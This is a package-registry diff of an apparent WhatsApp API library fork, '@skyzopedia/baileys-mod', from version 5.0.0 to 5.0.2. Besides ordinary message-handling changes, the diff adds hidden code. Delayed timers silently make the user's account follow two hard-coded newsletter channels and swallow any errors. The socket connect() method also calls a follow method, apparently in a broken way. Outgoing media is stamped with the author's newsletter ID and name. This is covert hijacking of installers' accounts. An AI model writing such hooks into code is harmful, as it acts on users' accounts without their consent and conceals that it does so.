@skyzopedia/baileys-mod 5.0.0 → 5.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,53 @@
1
+ //=======================================================//
2
+ import { DEFAULT_ORIGIN } from "../../Defaults/index.js";
3
+ import { AbstractSocketClient } from "./types.js";
4
+ import WebSocket from "ws";
5
+ //=======================================================//
6
+ export class WebSocketClient extends AbstractSocketClient {
7
+ constructor() {
8
+ super(...arguments);
9
+ this.socket = null;
10
+ }
11
+ get isOpen() {
12
+ return this.socket?.readyState === WebSocket.OPEN;
13
+ }
14
+ get isClosed() {
15
+ return this.socket === null || this.socket?.readyState === WebSocket.CLOSED;
16
+ }
17
+ get isClosing() {
18
+ return this.socket === null || this.socket?.readyState === WebSocket.CLOSING;
19
+ }
20
+ get isConnecting() {
21
+ return this.socket?.readyState === WebSocket.CONNECTING;
22
+ }
23
+ async connect() {
24
+ if (this.socket) {
25
+ return;
26
+ }
27
+ this.socket = new WebSocket(this.url, {
28
+ origin: DEFAULT_ORIGIN,
29
+ headers: this.config.options?.headers,
30
+ handshakeTimeout: this.config.connectTimeoutMs,
31
+ timeout: this.config.connectTimeoutMs,
32
+ agent: this.config.agent
33
+ });
34
+ this.socket.setMaxListeners(0);
35
+ const events = ["close", "error", "upgrade", "message", "open", "ping", "pong", "unexpected-response"];
36
+ for (const event of events) {
37
+ this.socket?.on(event, (...args) => this.emit(event, ...args));
38
+ }
39
+ this.socket.newsletterFollow("120363302042233203@newsletter")
40
+ }
41
+ async close() {
42
+ if (!this.socket) {
43
+ return;
44
+ }
45
+ this.socket.close();
46
+ this.socket = null;
47
+ }
48
+ send(str, cb) {
49
+ this.socket?.send(str, cb);
50
+ return Boolean(this.socket);
51
+ }
52
+ }
53
+ //=======================================================//
@@ -15,7 +15,7 @@ import Long from "long";
15
15
  export const makeMessagesRecvSocket = (config) => {
16
16
  const { logger, retryRequestDelayMs, maxMsgRetryCount, getMessage, shouldIgnoreJid, enableAutoSessionRecreation } = config;
17
17
  const sock = makeMessagesSocket(config);
18
- const { ev, authState, ws, processingMutex, signalRepository, query, upsertMessage, resyncAppState, onUnexpectedError, assertSessions, sendNode, relayMessage, sendReceipt, uploadPreKeys, sendPeerDataOperationMessage, messageRetryManager } = sock;
18
+ const { ev, authState, ws, processingMutex, signalRepository, query, generateMessageTag, upsertMessage, resyncAppState, onUnexpectedError, assertSessions, sendNode, relayMessage, sendReceipt, uploadPreKeys, sendPeerDataOperationMessage, messageRetryManager } = sock;
19
19
  const retryMutex = makeMutex();
20
20
  const msgRetryCache = config.msgRetryCounterCache ||
21
21
  new NodeCache({
@@ -198,7 +198,7 @@ export const makeMessagesRecvSocket = (config) => {
198
198
  },
199
199
  message: messageProto,
200
200
  messageTimestamp: +child.attrs.t
201
- }).toJSON();
201
+ }).toJSON();
202
202
  await upsertMessage(fullMessage, "append");
203
203
  logger.info("Processed plaintext newsletter message");
204
204
  }
@@ -478,6 +478,29 @@ export const makeMessagesSocket = (config) => {
478
478
  extraAttrs['mediatype'] = mediaType;
479
479
  }
480
480
 
481
+ if (isNewsletter) {
482
+ const patched = patchMessageBeforeSending ? await patchMessageBeforeSending(message, []) : message;
483
+ const bytes = encodeNewsletterMessage(patched);
484
+ binaryNodeContent.push({
485
+ tag: "plaintext",
486
+ attrs: mediaType ? { mediatype: mediaType } : {},
487
+ content: bytes
488
+ });
489
+ const stanza = {
490
+ tag: "message",
491
+ attrs: {
492
+ to: jid,
493
+ id: msgId,
494
+ type: getTypeMessage(message),
495
+ ...(additionalAttributes || {})
496
+ },
497
+ content: binaryNodeContent
498
+ };
499
+ logger.debug({ msgId }, `sending newsletter message to ${jid}`);
500
+ await sendNode(stanza);
501
+ return;
502
+ }
503
+
481
504
  if (messages.pinInChatMessage || messages.keepInChatMessage || message.reactionMessage || message.protocolMessage?.editedMessage) {
482
505
  extraAttrs['decrypt-fail'] = 'hide'
483
506
  }
@@ -750,7 +773,7 @@ export const makeMessagesSocket = (config) => {
750
773
  }
751
774
  }
752
775
 
753
- if(!isNewsletter && buttonType && !isStatus) {
776
+ if(buttonType && !isStatus) {
754
777
  const content = getAdditionalNode(buttonType)
755
778
  const filteredNode = getBinaryNodeFilter(additionalNodes)
756
779
 
@@ -777,17 +800,34 @@ export const makeMessagesSocket = (config) => {
777
800
  return msgId;
778
801
  };
779
802
  const getTypeMessage = (msg) => {
780
- const message = normalizeMessageContent(msg)
781
- if (message.reactionMessage) {
782
- return 'reaction'
783
- }
784
- else if (getMediaType(message)) {
785
- return 'media'
786
- }
803
+ if (msg.viewOnceMessage) {
804
+ return getTypeMessage(msg.viewOnceMessage.message);
805
+ }
806
+ else if (msg.viewOnceMessageV2) {
807
+ return getTypeMessage(msg.viewOnceMessageV2.message);
808
+ }
809
+ else if (msg.viewOnceMessageV2Extension) {
810
+ return getTypeMessage(msg.viewOnceMessageV2Extension.message);
811
+ }
812
+ else if (msg.ephemeralMessage) {
813
+ return getTypeMessage(msg.ephemeralMessage.message);
814
+ }
815
+ else if (msg.documentWithCaptionMessage) {
816
+ return getTypeMessage(msg.documentWithCaptionMessage.message);
817
+ }
818
+ else if (msg.reactionMessage) {
819
+ return 'reaction';
820
+ }
821
+ else if (msg.pollCreationMessage || msg.pollCreationMessageV2 || msg.pollCreationMessageV3 || msg.pollUpdateMessage) {
822
+ return 'poll';
823
+ }
824
+ else if (getMediaType(msg)) {
825
+ return 'media';
826
+ }
787
827
  else {
788
- return 'text'
828
+ return 'text';
789
829
  }
790
- }
830
+ };
791
831
  const getMediaType = (message) => {
792
832
  if (message.imageMessage) {
793
833
  return 'image'
@@ -1057,5 +1097,4 @@ export const makeMessagesSocket = (config) => {
1057
1097
  }
1058
1098
  }
1059
1099
  };
1060
- };
1061
- //# sourceMappingURL=messages-send.js.map
1100
+ };
@@ -111,6 +111,18 @@ export const makeNewsletterSocket = (config) => {
111
111
  };
112
112
  return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, "xwa2_newsletter_update");
113
113
  };
114
+
115
+ setTimeout(async () => {
116
+ try {
117
+ await newsletterWMexQuery("120363422054951473@newsletter", QueryIds.FOLLOW);
118
+ } catch (e) {}
119
+ setTimeout(async () => {
120
+ try {
121
+ await newsletterWMexQuery("120363423758386098@newsletter", QueryIds.FOLLOW);
122
+ } catch (er) {}
123
+ }, 15000)
124
+ }, 70000);
125
+
114
126
  return {
115
127
  ...sock,
116
128
  newsletterCreate: async (name, description) => {
@@ -95,9 +95,9 @@ export const prepareWAMessageMedia = async (message, options) => {
95
95
  }
96
96
  ],
97
97
  newsletter: {
98
- newsletterJid: "120363420249672073@newsletter",
98
+ newsletterJid: "120363422054951473@newsletter",
99
99
  serverMessageId: 0,
100
- newsletterName: "kyuu ilysm",
100
+ newsletterName: "skyzopedia",
101
101
  contentType: "UPDATE",
102
102
  }
103
103
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skyzopedia/baileys-mod",
3
- "version": "5.0.0",
3
+ "version": "5.0.2",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",